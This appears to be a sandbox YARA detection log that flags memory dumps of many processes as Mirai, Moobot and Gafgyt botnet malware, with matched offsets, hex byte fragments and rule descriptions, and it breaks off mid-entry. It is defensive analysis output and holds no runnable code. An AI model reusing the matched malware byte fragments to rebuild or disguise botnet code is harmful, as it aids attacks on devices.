6504.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6504.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7093.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7093.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7093.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7093.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7093.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7093.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6518.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7381.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7381.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7381.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7381.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7381.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7381.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6383.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7307.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6773.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7445.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6642.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6756.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7307.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7307.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7307.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7307.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7307.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7307.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6622.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6622.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6622.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6622.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6622.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6622.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6607.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6607.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6607.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6607.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6607.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 